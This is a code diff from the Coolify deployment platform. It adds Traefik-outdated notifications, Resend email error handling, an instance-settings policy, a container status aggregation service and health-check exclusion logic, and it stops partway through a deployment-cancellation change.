+++ b/app/Models/ServiceDatabase.php
@@ -84,6 +84,10 @@ public function databaseType()
         $image = str($this->image)->before(':');
         if ($image->contains('supabase/postgres')) {
             $finalImage = 'supabase/postgres';
+        } elseif ($image->contains('timescale')) {
+            $finalImage = 'postgresql';
+        } elseif ($image->contains('pgvector')) {
+            $finalImage = 'postgresql';
         } elseif ($image->contains('postgres') || $image->contains('postgis')) {
             $finalImage = 'postgresql';
         } else {
diff --git a/app/Models/SlackNotificationSettings.php b/app/Models/SlackNotificationSettings.php
index 2b52bfd5b..128b25221 100644
--- a/app/Models/SlackNotificationSettings.php
+++ b/app/Models/SlackNotificationSettings.php
@@ -29,6 +29,7 @@ class SlackNotificationSettings extends Model
         'server_reachable_slack_notifications',
         'server_unreachable_slack_notifications',
         'server_patch_slack_notifications',
+        'traefik_outdated_slack_notifications',
     ];
 
     protected $casts = [
@@ -47,6 +48,7 @@ class SlackNotificationSettings extends Model
         'server_reachable_slack_notifications' => 'boolean',
         'server_unreachable_slack_notifications' => 'boolean',
         'server_patch_slack_notifications' => 'boolean',
+        'traefik_outdated_slack_notifications' => 'boolean',
     ];
 
     public function team()
diff --git a/app/Models/Team.php b/app/Models/Team.php
index 6c30389ee..5cb186942 100644
--- a/app/Models/Team.php
+++ b/app/Models/Team.php
@@ -49,7 +49,9 @@ class Team extends Model implements SendsDiscord, SendsEmail, SendsPushover, Sen
     protected static function booted()
     {
         static::created(function ($team) {
-            $team->emailNotificationSettings()->create();
+            $team->emailNotificationSettings()->create([
+                'use_instance_email_settings' => isDev(),
+            ]);
             $team->discordNotificationSettings()->create();
             $team->slackNotificationSettings()->create();
             $team->telegramNotificationSettings()->create();
diff --git a/app/Models/TelegramNotificationSettings.php b/app/Models/TelegramNotificationSettings.php
index 94315ee30..73889910e 100644
--- a/app/Models/TelegramNotificationSettings.php
+++ b/app/Models/TelegramNotificationSettings.php
@@ -30,6 +30,7 @@ class TelegramNotificationSettings extends Model
         'server_reachable_telegram_notifications',
         'server_unreachable_telegram_notifications',
         'server_patch_telegram_notifications',
+        'traefik_outdated_telegram_notifications',
 
         'telegram_notifications_deployment_success_thread_id',
         'telegram_notifications_deployment_failure_thread_id',
@@ -43,6 +44,7 @@ class TelegramNotificationSettings extends Model
         'telegram_notifications_server_reachable_thread_id',
         'telegram_notifications_server_unreachable_thread_id',
         'telegram_notifications_server_patch_thread_id',
+        'telegram_notifications_traefik_outdated_thread_id',
     ];
 
     protected $casts = [
@@ -62,6 +64,7 @@ class TelegramNotificationSettings extends Model
         'server_reachable_telegram_notifications' => 'boolean',
         'server_unreachable_telegram_notifications' => 'boolean',
         'server_patch_telegram_notifications' => 'boolean',
+        'traefik_outdated_telegram_notifications' => 'boolean',
 
         'telegram_notifications_deployment_success_thread_id' => 'encrypted',
         'telegram_notifications_deployment_failure_thread_id' => 'encrypted',
@@ -75,6 +78,7 @@ class TelegramNotificationSettings extends Model
         'telegram_notifications_server_reachable_thread_id' => 'encrypted',
         'telegram_notifications_server_unreachable_thread_id' => 'encrypted',
         'telegram_notifications_server_patch_thread_id' => 'encrypted',
+        'telegram_notifications_traefik_outdated_thread_id' => 'encrypted',
     ];
 
     public function team()
diff --git a/app/Models/WebhookNotificationSettings.php b/app/Models/WebhookNotificationSettings.php
index 4ca89e0d3..731006181 100644
--- a/app/Models/WebhookNotificationSettings.php
+++ b/app/Models/WebhookNotificationSettings.php
@@ -24,11 +24,13 @@ class WebhookNotificationSettings extends Model
         'backup_failure_webhook_notifications',
         'scheduled_task_success_webhook_notifications',
         'scheduled_task_failure_webhook_notifications',
-        'docker_cleanup_webhook_notifications',
+        'docker_cleanup_success_webhook_notifications',
+        'docker_cleanup_failure_webhook_notifications',
         'server_disk_usage_webhook_notifications',
         'server_reachable_webhook_notifications',
         'server_unreachable_webhook_notifications',
         'server_patch_webhook_notifications',
+        'traefik_outdated_webhook_notifications',
     ];
 
     protected function casts(): array
@@ -44,11 +46,13 @@ protected function casts(): array
             'backup_failure_webhook_notifications' => 'boolean',
             'scheduled_task_success_webhook_notifications' => 'boolean',
             'scheduled_task_failure_webhook_notifications' => 'boolean',
-            'docker_cleanup_webhook_notifications' => 'boolean',
+            'docker_cleanup_success_webhook_notifications' => 'boolean',
+            'docker_cleanup_failure_webhook_notifications' => 'boolean',
             'server_disk_usage_webhook_notifications' => 'boolean',
             'server_reachable_webhook_notifications' => 'boolean',
             'server_unreachable_webhook_notifications' => 'boolean',
             'server_patch_webhook_notifications' => 'boolean',
+            'traefik_outdated_webhook_notifications' => 'boolean',
         ];
     }
 
diff --git a/app/Notifications/Channels/EmailChannel.php b/app/Notifications/Channels/EmailChannel.php
index 245bd85f0..234bc37ad 100644
--- a/app/Notifications/Channels/EmailChannel.php
+++ b/app/Notifications/Channels/EmailChannel.php
@@ -101,6 +101,38 @@ public function send(SendsEmail $notifiable, Notification $notification): void
 
                 $mailer->send($email);
             }
+        } catch (\Resend\Exceptions\ErrorException $e) {
+            // Map HTTP status codes to user-friendly messages
+            $userMessage = match ($e->getErrorCode()) {
+                403 => 'Invalid Resend API key. Please verify your API key in the Resend dashboard and update it in settings.',
+                401 => 'Your Resend API key has restricted permissions. Please use an API key with Full Access permissions.',
+                429 => 'Resend rate limit exceeded. Please try again in a few minutes.',
+                400 => 'Email validation failed: '.$e->getErrorMessage(),
+                default => 'Failed to send email via Resend: '.$e->getErrorMessage(),
+            };
+
+            // Log detailed error for admin debugging (redact sensitive data)
+            $emailSettings = $notifiable->emailNotificationSettings ?? instanceSettings();
+            data_set($emailSettings, 'smtp_password', '********');
+            data_set($emailSettings, 'resend_api_key', '********');
+
+            send_internal_notification(sprintf(
+                "Resend Error\nStatus Code: %s\nMessage: %s\nNotification: %s\nEmail Settings:\n%s",
+                $e->getErrorCode(),
+                $e->getErrorMessage(),
+                get_class($notification),
+                json_encode($emailSettings, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES)
+            ));
+
+            // Don't report expected errors (invalid keys, validation) to Sentry
+            if (in_array($e->getErrorCode(), [403, 401, 400])) {
+                throw NonReportableException::fromException(new \Exception($userMessage, $e->getCode(), $e));
+            }
+
+            throw new \Exception($userMessage, $e->getCode(), $e);
+        } catch (\Resend\Exceptions\TransporterException $e) {
+            send_internal_notification("Resend Transport Error: {$e->getMessage()}");
+            throw new \Exception('Unable to connect to Resend API. Please check your internet connection and try again.');
         } catch (\Throwable $e) {
             // Check if this is a Resend domain verification error on cloud instances
             if (isCloud() && str_contains($e->getMessage(), 'domain is not verified')) {
diff --git a/app/Notifications/Server/TraefikVersionOutdated.php b/app/Notifications/Server/TraefikVersionOutdated.php
new file mode 100644
index 000000000..09ef4257d
--- /dev/null
+++ b/app/Notifications/Server/TraefikVersionOutdated.php
@@ -0,0 +1,262 @@
+<?php
+
+namespace App\Notifications\Server;
+
+use App\Notifications\CustomEmailNotification;
+use App\Notifications\Dto\DiscordMessage;
+use App\Notifications\Dto\PushoverMessage;
+use App\Notifications\Dto\SlackMessage;
+use Illuminate\Notifications\Messages\MailMessage;
+use Illuminate\Support\Collection;
+
+class TraefikVersionOutdated extends CustomEmailNotification
+{
+    public function __construct(public Collection $servers)
+    {
+        $this->onQueue('high');
+    }
+
+    public function via(object $notifiable): array
+    {
+        return $notifiable->getEnabledChannels('traefik_outdated');
+    }
+
+    private function formatVersion(string $version): string
+    {
+        // Add 'v' prefix if not present for consistent display
+        return str_starts_with($version, 'v') ? $version : "v{$version}";
+    }
+
+    private function getUpgradeTarget(array $info): string
+    {
+        // For minor upgrades, use the upgrade_target field (e.g., "v3.6")
+        if (($info['type'] ?? 'patch_update') === 'minor_upgrade' && isset($info['upgrade_target'])) {
+            return $this->formatVersion($info['upgrade_target']);
+        }
+
+        // For patch updates, show the full version
+        return $this->formatVersion($info['latest'] ?? 'unknown');
+    }
+
+    public function toMail($notifiable = null): MailMessage
+    {
+        $mail = new MailMessage;
+        $count = $this->servers->count();
+
+        $mail->subject("Coolify: Traefik proxy outdated on {$count} server(s)");
+        $mail->view('emails.traefik-version-outdated', [
+            'servers' => $this->servers,
+            'count' => $count,
+        ]);
+
+        return $mail;
+    }
+
+    public function toDiscord(): DiscordMessage
+    {
+        $count = $this->servers->count();
+        $hasUpgrades = $this->servers->contains(fn ($s) => ($s->outdatedInfo['type'] ?? 'patch_update') === 'minor_upgrade' ||
+            isset($s->outdatedInfo['newer_branch_target'])
+        );
+
+        $description = "**{$count} server(s)** running outdated Traefik proxy. Update recommended for security and features.\n\n";
+        $description .= "**Affected servers:**\n";
+
+        foreach ($this->servers as $server) {
+            $info = $server->outdatedInfo ?? [];
+            $current = $this->formatVersion($info['current'] ?? 'unknown');
+            $latest = $this->formatVersion($info['latest'] ?? 'unknown');
+            $upgradeTarget = $this->getUpgradeTarget($info);
+            $isPatch = ($info['type'] ?? 'patch_update') === 'patch_update';
+            $hasNewerBranch = isset($info['newer_branch_target']);
+
+            if ($isPatch && $hasNewerBranch) {
+                $newerBranchTarget = $info['newer_branch_target'];
+                $newerBranchLatest = $this->formatVersion($info['newer_branch_latest']);
+                $description .= "• {$server->name}: {$current} → {$upgradeTarget} (patch update available)\n";
+                $description .= "  ↳ Also available: {$newerBranchTarget} (latest patch: {$newerBranchLatest}) - new minor version\n";
+            } elseif ($isPatch) {
+                $description .= "• {$server->name}: {$current} → {$upgradeTarget} (patch update available)\n";
+            } else {
+                $description .= "• {$server->name}: {$current} (latest patch: {$latest}) → {$upgradeTarget} (new minor version available)\n";
+            }
+        }
+
+        $description .= "\n⚠️ It is recommended to test before switching the production version.";
+
+        if ($hasUpgrades) {
+            $description .= "\n\n📖 **For minor version upgrades**: Read the Traefik changelog before upgrading to understand breaking changes and new features.";
+        }
+
+        return new DiscordMessage(
+            title: ':warning: Coolify: Traefik proxy outdated',
+            description: $description,
+            color: DiscordMessage::warningColor(),
+        );
+    }
+
+    public function toTelegram(): array
+    {
+        $count = $this->servers->count();
+        $hasUpgrades = $this->servers->contains(fn ($s) => ($s->outdatedInfo['type'] ?? 'patch_update') === 'minor_upgrade' ||
+            isset($s->outdatedInfo['newer_branch_target'])
+        );
+
+        $message = "⚠️ Coolify: Traefik proxy outdated on {$count} server(s)!\n\n";
+        $message .= "Update recommended for security and features.\n";
+        $message .= "📊 Affected servers:\n";
+
+        foreach ($this->servers as $server) {
+            $info = $server->outdatedInfo ?? [];
+            $current = $this->formatVersion($info['current'] ?? 'unknown');
+            $latest = $this->formatVersion($info['latest'] ?? 'unknown');
+            $upgradeTarget = $this->getUpgradeTarget($info);
+            $isPatch = ($info['type'] ?? 'patch_update') === 'patch_update';
+            $hasNewerBranch = isset($info['newer_branch_target']);
+
+            if ($isPatch && $hasNewerBranch) {
+                $newerBranchTarget = $info['newer_branch_target'];
+                $newerBranchLatest = $this->formatVersion($info['newer_branch_latest']);
+                $message .= "• {$server->name}: {$current} → {$upgradeTarget} (patch update available)\n";
+                $message .= "  ↳ Also available: {$newerBranchTarget} (latest patch: {$newerBranchLatest}) - new minor version\n";
+            } elseif ($isPatch) {
+                $message .= "• {$server->name}: {$current} → {$upgradeTarget} (patch update available)\n";
+            } else {
+                $message .= "• {$server->name}: {$current} (latest patch: {$latest}) → {$upgradeTarget} (new minor version available)\n";
+            }
+        }
+
+        $message .= "\n⚠️ It is recommended to test before switching the production version.";
+
+        if ($hasUpgrades) {
+            $message .= "\n\n📖 For minor version upgrades: Read the Traefik changelog before upgrading to understand breaking changes and new features.";
+        }
+
+        return [
+            'message' => $message,
+            'buttons' => [],
+        ];
+    }
+
+    public function toPushover(): PushoverMessage
+    {
+        $count = $this->servers->count();
+        $hasUpgrades = $this->servers->contains(fn ($s) => ($s->outdatedInfo['type'] ?? 'patch_update') === 'minor_upgrade' ||
+            isset($s->outdatedInfo['newer_branch_target'])
+        );
+
+        $message = "Traefik proxy outdated on {$count} server(s)!\n";
+        $message .= "Affected servers:\n";
+
+        foreach ($this->servers as $server) {
+            $info = $server->outdatedInfo ?? [];
+            $current = $this->formatVersion($info['current'] ?? 'unknown');
+            $latest = $this->formatVersion($info['latest'] ?? 'unknown');
+            $upgradeTarget = $this->getUpgradeTarget($info);
+            $isPatch = ($info['type'] ?? 'patch_update') === 'patch_update';
+            $hasNewerBranch = isset($info['newer_branch_target']);
+
+            if ($isPatch && $hasNewerBranch) {
+                $newerBranchTarget = $info['newer_branch_target'];
+                $newerBranchLatest = $this->formatVersion($info['newer_branch_latest']);
+                $message .= "• {$server->name}: {$current} → {$upgradeTarget} (patch update available)\n";
+                $message .= "  Also: {$newerBranchTarget} (latest: {$newerBranchLatest}) - new minor version\n";
+            } elseif ($isPatch) {
+                $message .= "• {$server->name}: {$current} → {$upgradeTarget} (patch update available)\n";
+            } else {
+                $message .= "• {$server->name}: {$current} (latest patch: {$latest}) → {$upgradeTarget} (new minor version available)\n";
+            }
+        }
+
+        $message .= "\nIt is recommended to test before switching the production version.";
+
+        if ($hasUpgrades) {
+            $message .= "\n\nFor minor version upgrades: Read the Traefik changelog before upgrading.";
+        }
+
+        return new PushoverMessage(
+            title: 'Traefik proxy outdated',
+            level: 'warning',
+            message: $message,
+        );
+    }
+
+    public function toSlack(): SlackMessage
+    {
+        $count = $this->servers->count();
+        $hasUpgrades = $this->servers->contains(fn ($s) => ($s->outdatedInfo['type'] ?? 'patch_update') === 'minor_upgrade' ||
+            isset($s->outdatedInfo['newer_branch_target'])
+        );
+
+        $description = "Traefik proxy outdated on {$count} server(s)!\n";
+        $description .= "*Affected servers:*\n";
+
+        foreach ($this->servers as $server) {
+            $info = $server->outdatedInfo ?? [];
+            $current = $this->formatVersion($info['current'] ?? 'unknown');
+            $latest = $this->formatVersion($info['latest'] ?? 'unknown');
+            $upgradeTarget = $this->getUpgradeTarget($info);
+            $isPatch = ($info['type'] ?? 'patch_update') === 'patch_update';
+            $hasNewerBranch = isset($info['newer_branch_target']);
+
+            if ($isPatch && $hasNewerBranch) {
+                $newerBranchTarget = $info['newer_branch_target'];
+                $newerBranchLatest = $this->formatVersion($info['newer_branch_latest']);
+                $description .= "• `{$server->name}`: {$current} → {$upgradeTarget} (patch update available)\n";
+                $description .= "  ↳ Also available: {$newerBranchTarget} (latest patch: {$newerBranchLatest}) - new minor version\n";
+            } elseif ($isPatch) {
+                $description .= "• `{$server->name}`: {$current} → {$upgradeTarget} (patch update available)\n";
+            } else {
+                $description .= "• `{$server->name}`: {$current} (latest patch: {$latest}) → {$upgradeTarget} (new minor version available)\n";
+            }
+        }
+
+        $description .= "\n:warning: It is recommended to test before switching the production version.";
+
+        if ($hasUpgrades) {
+            $description .= "\n\n:book: For minor version upgrades: Read the Traefik changelog before upgrading to understand breaking changes and new features.";
+        }
+
+        return new SlackMessage(
+            title: 'Coolify: Traefik proxy outdated',
+            description: $description,
+            color: SlackMessage::warningColor()
+        );
+    }
+
+    public function toWebhook(): array
+    {
+        $servers = $this->servers->map(function ($server) {
+            $info = $server->outdatedInfo ?? [];
+
+            $webhookData = [
+                'name' => $server->name,
+                'uuid' => $server->uuid,
+                'current_version' => $info['current'] ?? 'unknown',
+                'latest_version' => $info['latest'] ?? 'unknown',
+                'update_type' => $info['type'] ?? 'patch_update',
+            ];
+
+            // For minor upgrades, include the upgrade target (e.g., "v3.6")
+            if (($info['type'] ?? 'patch_update') === 'minor_upgrade' && isset($info['upgrade_target'])) {
+                $webhookData['upgrade_target'] = $info['upgrade_target'];
+            }
+
+            // Include newer branch info if available
+            if (isset($info['newer_branch_target'])) {
+                $webhookData['newer_branch_target'] = $info['newer_branch_target'];
+                $webhookData['newer_branch_latest'] = $info['newer_branch_latest'];
+            }
+
+            return $webhookData;
+        })->toArray();
+
+        return [
+            'success' => false,
+            'message' => 'Traefik proxy outdated',
+            'event' => 'traefik_version_outdated',
+            'affected_servers_count' => $this->servers->count(),
+            'servers' => $servers,
+        ];
+    }
+}
diff --git a/app/Policies/InstanceSettingsPolicy.php b/app/Policies/InstanceSettingsPolicy.php
new file mode 100644
index 000000000..a04f07a28
--- /dev/null
+++ b/app/Policies/InstanceSettingsPolicy.php
@@ -0,0 +1,25 @@
+<?php
+
+namespace App\Policies;
+
+use App\Models\InstanceSettings;
+use App\Models\User;
+
+class InstanceSettingsPolicy
+{
+    /**
+     * Determine whether the user can view the instance settings.
+     */
+    public function view(User $user, InstanceSettings $settings): bool
+    {
+        return isInstanceAdmin();
+    }
+
+    /**
+     * Determine whether the user can update the instance settings.
+     */
+    public function update(User $user, InstanceSettings $settings): bool
+    {
+        return isInstanceAdmin();
+    }
+}
diff --git a/app/Providers/AuthServiceProvider.php b/app/Providers/AuthServiceProvider.php
index 5d3347936..e473d2875 100644
--- a/app/Providers/AuthServiceProvider.php
+++ b/app/Providers/AuthServiceProvider.php
@@ -50,6 +50,9 @@ class AuthServiceProvider extends ServiceProvider
         // API Token policy
         \Laravel\Sanctum\PersonalAccessToken::class => \App\Policies\ApiTokenPolicy::class,
 
+        // Instance settings policy
+        \App\Models\InstanceSettings::class => \App\Policies\InstanceSettingsPolicy::class,
+
         // Team policy
         \App\Models\Team::class => \App\Policies\TeamPolicy::class,
 
diff --git a/app/Services/ContainerStatusAggregator.php b/app/Services/ContainerStatusAggregator.php
new file mode 100644
index 000000000..4a17ecdd6
--- /dev/null
+++ b/app/Services/ContainerStatusAggregator.php
@@ -0,0 +1,251 @@
+<?php
+
+namespace App\Services;
+
+use Illuminate\Support\Collection;
+use Illuminate\Support\Facades\Log;
+
+/**
+ * Container Status Aggregator Service
+ *
+ * Centralized service for aggregating container statuses into a single status string.
+ * Uses a priority-based state machine to determine the overall status from multiple containers.
+ *
+ * Output Format: Colon-separated (e.g., "running:healthy", "degraded:unhealthy")
+ * This format is used throughout the backend for consistency and machine-readability.
+ * UI components transform this to human-readable format (e.g., "Running (Healthy)").
+ *
+ * State Priority (highest to lowest):
+ * 1. Restarting → degraded:unhealthy
+ * 2. Crash Loop (exited with restarts) → degraded:unhealthy
+ * 3. Mixed (running + exited) → degraded:unhealthy
+ * 4. Running → running:healthy/unhealthy/unknown
+ * 5. Dead/Removing → degraded:unhealthy
+ * 6. Paused → paused:unknown
+ * 7. Starting/Created → starting:unknown
+ * 8. Exited → exited
+ */
+class ContainerStatusAggregator
+{
+    /**
+     * Aggregate container statuses from status strings into a single status.
+     *
+     * @param  Collection  $containerStatuses  Collection of status strings (e.g., "running (healthy)", "running:healthy")
+     * @param  int  $maxRestartCount  Maximum restart count across containers (for crash loop detection)
+     * @return string Aggregated status in colon format (e.g., "running:healthy")
+     */
+    public function aggregateFromStrings(Collection $containerStatuses, int $maxRestartCount = 0): string
+    {
+        // Validate maxRestartCount parameter
+        if ($maxRestartCount < 0) {
+            Log::warning('Negative maxRestartCount corrected to 0', [
+                'original_value' => $maxRestartCount,
+            ]);
+            $maxRestartCount = 0;
+        }
+
+        if ($maxRestartCount > 1000) {
+            Log::warning('High maxRestartCount detected', [
+                'maxRestartCount' => $maxRestartCount,
+                'containers' => $containerStatuses->count(),
+            ]);
+        }
+
+        if ($containerStatuses->isEmpty()) {
+            return 'exited';
+        }
+
+        // Initialize state flags
+        $hasRunning = false;
+        $hasRestarting = false;
+        $hasUnhealthy = false;
+        $hasUnknown = false;
+        $hasExited = false;
+        $hasStarting = false;
+        $hasPaused = false;
+        $hasDead = false;
+
+        // Parse each status string and set flags
+        foreach ($containerStatuses as $status) {
+            if (str($status)->contains('restarting')) {
+                $hasRestarting = true;
+            } elseif (str($status)->contains('running')) {
+                $hasRunning = true;
+                if (str($status)->contains('unhealthy')) {
+                    $hasUnhealthy = true;
+                }
+                if (str($status)->contains('unknown')) {
+                    $hasUnknown = true;
+                }
+            } elseif (str($status)->contains('exited')) {
+                $hasExited = true;
+            } elseif (str($status)->contains('created') || str($status)->contains('starting')) {
+                $hasStarting = true;
+            } elseif (str($status)->contains('paused')) {
+                $hasPaused = true;
+            } elseif (str($status)->contains('dead') || str($status)->contains('removing')) {
+                $hasDead = true;
+            }
+        }
+
+        // Priority-based status resolution
+        return $this->resolveStatus(
+            $hasRunning,
+            $hasRestarting,
+            $hasUnhealthy,
+            $hasUnknown,
+            $hasExited,
+            $hasStarting,
+            $hasPaused,
+            $hasDead,
+            $maxRestartCount
+        );
+    }
+
+    /**
+     * Aggregate container statuses from Docker container objects.
+     *
+     * @param  Collection  $containers  Collection of Docker container objects with State property
+     * @param  int  $maxRestartCount  Maximum restart count across containers (for crash loop detection)
+     * @return string Aggregated status in colon format (e.g., "running:healthy")
+     */
+    public function aggregateFromContainers(Collection $containers, int $maxRestartCount = 0): string
+    {
+        // Validate maxRestartCount parameter
+        if ($maxRestartCount < 0) {
+            Log::warning('Negative maxRestartCount corrected to 0', [
+                'original_value' => $maxRestartCount,
+            ]);
+            $maxRestartCount = 0;
+        }
+
+        if ($maxRestartCount > 1000) {
+            Log::warning('High maxRestartCount detected', [
+                'maxRestartCount' => $maxRestartCount,
+                'containers' => $containers->count(),
+            ]);
+        }
+
+        if ($containers->isEmpty()) {
+            return 'exited';
+        }
+
+        // Initialize state flags
+        $hasRunning = false;
+        $hasRestarting = false;
+        $hasUnhealthy = false;
+        $hasUnknown = false;
+        $hasExited = false;
+        $hasStarting = false;
+        $hasPaused = false;
+        $hasDead = false;
+
+        // Parse each container object and set flags
+        foreach ($containers as $container) {
+            $state = data_get($container, 'State.Status', 'exited');
+            $health = data_get($container, 'State.Health.Status');
+
+            if ($state === 'restarting') {
+                $hasRestarting = true;
+            } elseif ($state === 'running') {
+                $hasRunning = true;
+                if ($health === 'unhealthy') {
+                    $hasUnhealthy = true;
+                } elseif (is_null($health) || $health === 'starting') {
+                    $hasUnknown = true;
+                }
+            } elseif ($state === 'exited') {
+                $hasExited = true;
+            } elseif ($state === 'created' || $state === 'starting') {
+                $hasStarting = true;
+            } elseif ($state === 'paused') {
+                $hasPaused = true;
+            } elseif ($state === 'dead' || $state === 'removing') {
+                $hasDead = true;
+            }
+        }
+
+        // Priority-based status resolution
+        return $this->resolveStatus(
+            $hasRunning,
+            $hasRestarting,
+            $hasUnhealthy,
+            $hasUnknown,
+            $hasExited,
+            $hasStarting,
+            $hasPaused,
+            $hasDead,
+            $maxRestartCount
+        );
+    }
+
+    /**
+     * Resolve the aggregated status based on state flags (priority-based state machine).
+     *
+     * @param  bool  $hasRunning  Has at least one running container
+     * @param  bool  $hasRestarting  Has at least one restarting container
+     * @param  bool  $hasUnhealthy  Has at least one unhealthy container
+     * @param  bool  $hasUnknown  Has at least one container with unknown health
+     * @param  bool  $hasExited  Has at least one exited container
+     * @param  bool  $hasStarting  Has at least one starting/created container
+     * @param  bool  $hasPaused  Has at least one paused container
+     * @param  bool  $hasDead  Has at least one dead/removing container
+     * @param  int  $maxRestartCount  Maximum restart count (for crash loop detection)
+     * @return string Status in colon format (e.g., "running:healthy")
+     */
+    private function resolveStatus(
+        bool $hasRunning,
+        bool $hasRestarting,
+        bool $hasUnhealthy,
+        bool $hasUnknown,
+        bool $hasExited,
+        bool $hasStarting,
+        bool $hasPaused,
+        bool $hasDead,
+        int $maxRestartCount
+    ): string {
+        // Priority 1: Restarting containers (degraded state)
+        if ($hasRestarting) {
+            return 'degraded:unhealthy';
+        }
+
+        // Priority 2: Crash loop detection (exited with restart count > 0)
+        if ($hasExited && $maxRestartCount > 0) {
+            return 'degraded:unhealthy';
+        }
+
+        // Priority 3: Mixed state (some running, some exited = degraded)
+        if ($hasRunning && $hasExited) {
+            return 'degraded:unhealthy';
+        }
+
+        // Priority 4: Running containers (check health status)
+        if ($hasRunning) {
+            if ($hasUnhealthy) {
+                return 'running:unhealthy';
+            } elseif ($hasUnknown) {
+                return 'running:unknown';
+            } else {
+                return 'running:healthy';
+            }
+        }
+
+        // Priority 5: Dead or removing containers
+        if ($hasDead) {
+            return 'degraded:unhealthy';
+        }
+
+        // Priority 6: Paused containers
+        if ($hasPaused) {
+            return 'paused:unknown';
+        }
+
+        // Priority 7: Starting/created containers
+        if ($hasStarting) {
+            return 'starting:unknown';
+        }
+
+        // Priority 8: All containers exited (no restart count = truly stopped)
+        return 'exited';
+    }
+}
diff --git a/app/Traits/CalculatesExcludedStatus.php b/app/Traits/CalculatesExcludedStatus.php
new file mode 100644
index 000000000..5219878c0
--- /dev/null
+++ b/app/Traits/CalculatesExcludedStatus.php
@@ -0,0 +1,166 @@
+<?php
+
+namespace App\Traits;
+
+use App\Services\ContainerStatusAggregator;
+use Illuminate\Support\Collection;
+use Illuminate\Support\Facades\Log;
+use Symfony\Component\Yaml\Exception\ParseException;
+
+trait CalculatesExcludedStatus
+{
+    /**
+     * Calculate status for containers when all containers are excluded from health checks.
+     *
+     * This method processes excluded containers and returns a status with :excluded suffix
+     * to indicate that monitoring is disabled but still show the actual container state.
+     *
+     * @param  Collection  $containers  Collection of container objects from Docker inspect
+     * @param  Collection  $excludedContainers  Collection of container names that are excluded
+     * @return string Status string with :excluded suffix (e.g., 'running:unhealthy:excluded')
+     */
+    protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string
+    {
+        // Filter to only excluded containers
+        $excludedOnly = $containers->filter(function ($container) use ($excludedContainers) {
+            $labels = data_get($container, 'Config.Labels', []);
+            $serviceName = data_get($labels, 'com.docker.compose.service');
+
+            return $serviceName && $excludedContainers->contains($serviceName);
+        });
+
+        // Use ContainerStatusAggregator service for state machine logic
+        $aggregator = new ContainerStatusAggregator;
+        $status = $aggregator->aggregateFromContainers($excludedOnly);
+
+        // Append :excluded suffix
+        return $this->appendExcludedSuffix($status);
+    }
+
+    /**
+     * Calculate status for containers when all containers are excluded (simplified version).
+     *
+     * This version works with status strings (e.g., "running:healthy") instead of full
+     * container objects, suitable for Sentinel updates that don't have full container data.
+     *
+     * @param  Collection  $containerStatuses  Collection of status strings keyed by container name
+     * @return string Status string with :excluded suffix
+     */
+    protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string
+    {
+        // Use ContainerStatusAggregator service for state machine logic
+        $aggregator = new ContainerStatusAggregator;
+        $status = $aggregator->aggregateFromStrings($containerStatuses);
+
+        // Append :excluded suffix
+        $finalStatus = $this->appendExcludedSuffix($status);
+
+        return $finalStatus;
+    }
+
+    /**
+     * Append :excluded suffix to a status string.
+     *
+     * Converts status formats like:
+     * - "running:healthy" → "running:healthy:excluded"
+     * - "degraded:unhealthy" → "degraded:excluded" (simplified)
+     * - "paused:unknown" → "paused:excluded" (simplified)
+     *
+     * @param  string  $status  The base status string
+     * @return string Status with :excluded suffix
+     */
+    private function appendExcludedSuffix(string $status): string
+    {
+        // For degraded states, simplify to just "degraded:excluded"
+        if (str($status)->startsWith('degraded')) {
+            return 'degraded:excluded';
+        }
+
+        // For paused/starting/exited states, simplify to just "state:excluded"
+        if (str($status)->startsWith('paused')) {
+            return 'paused:excluded';
+        }
+
+        if (str($status)->startsWith('starting')) {
+            return 'starting:excluded';
+        }
+
+        if (str($status)->startsWith('exited')) {
+            return 'exited';
+        }
+
+        // For running states, keep the health status: "running:healthy:excluded"
+        return "$status:excluded";
+    }
+
+    /**
+     * Get excluded containers from docker-compose YAML.
+     *
+     * Containers are excluded if:
+     * - They have exclude_from_hc: true label
+     * - They have restart: no policy
+     *
+     * @param  string|null  $dockerComposeRaw  The raw docker-compose YAML content
+     * @return Collection Collection of excluded container names
+     */
+    protected function getExcludedContainersFromDockerCompose(?string $dockerComposeRaw): Collection
+    {
+        $excludedContainers = collect();
+
+        if (! $dockerComposeRaw) {
+            return $excludedContainers;
+        }
+
+        try {
+            $dockerCompose = \Symfony\Component\Yaml\Yaml::parse($dockerComposeRaw);
+
+            // Validate structure
+            if (! is_array($dockerCompose)) {
+                Log::warning('Docker Compose YAML did not parse to array', [
+                    'yaml_length' => strlen($dockerComposeRaw),
+                    'parsed_type' => gettype($dockerCompose),
+                ]);
+
+                return $excludedContainers;
+            }
+
+            $services = data_get($dockerCompose, 'services', []);
+
+            if (! is_array($services)) {
+                Log::warning('Docker Compose services is not an array', [
+                    'services_type' => gettype($services),
+                ]);
+
+                return $excludedContainers;
+            }
+
+            foreach ($services as $serviceName => $serviceConfig) {
+                $excludeFromHc = data_get($serviceConfig, 'exclude_from_hc', false);
+                $restartPolicy = data_get($serviceConfig, 'restart', 'always');
+
+                if ($excludeFromHc || $restartPolicy === 'no') {
+                    $excludedContainers->push($serviceName);
+                }
+            }
+        } catch (ParseException $e) {
+            // Specific YAML parsing errors
+            Log::warning('Failed to parse Docker Compose YAML for health check exclusions', [
+                'error' => $e->getMessage(),
+                'line' => $e->getParsedLine(),
+                'snippet' => $e->getSnippet(),
+            ]);
+
+            return $excludedContainers;
+        } catch (\Exception $e) {
+            // Unexpected errors
+            Log::error('Unexpected error parsing Docker Compose YAML', [
+                'error' => $e->getMessage(),
+                'trace' => $e->getTraceAsString(),
+            ]);
+
+            return $excludedContainers;
+        }
+
+        return $excludedContainers;
+    }
+}
diff --git a/app/Traits/ExecuteRemoteCommand.php b/app/Traits/ExecuteRemoteCommand.php
index 4aa5aae8b..58ae5f249 100644
--- a/app/Traits/ExecuteRemoteCommand.php
+++ b/app/Traits/ExecuteRemoteCommand.php
@@ -219,9 +219,22 @@ private function executeCommandWithProcess($command, $hidden, $customType, $appe
         $process_result = $process->wait();
         if ($process_result->exitCode() !== 0) {
             if (! $ignore_errors) {
+                // Check if deployment was cancelled while command was running
+                if (isset($this->application_deployment_queue)) {
+                    $this->application_deployment_queue->refresh();
+                    if ($this->application_deployment_queue->status === \App\Enums\ApplicationDeploymentStatus::CANCELLED_BY_USER->value) {
+                        throw new \RuntimeException('Deployment cancelled by user', 69420);
+                    }
+                }
+
                 // Don't immediately set to FAILED - let the retry logic handle it
                 // This prevents premature status changes during retryable SSH errors
-                throw new \RuntimeException($process_result->errorOutput());
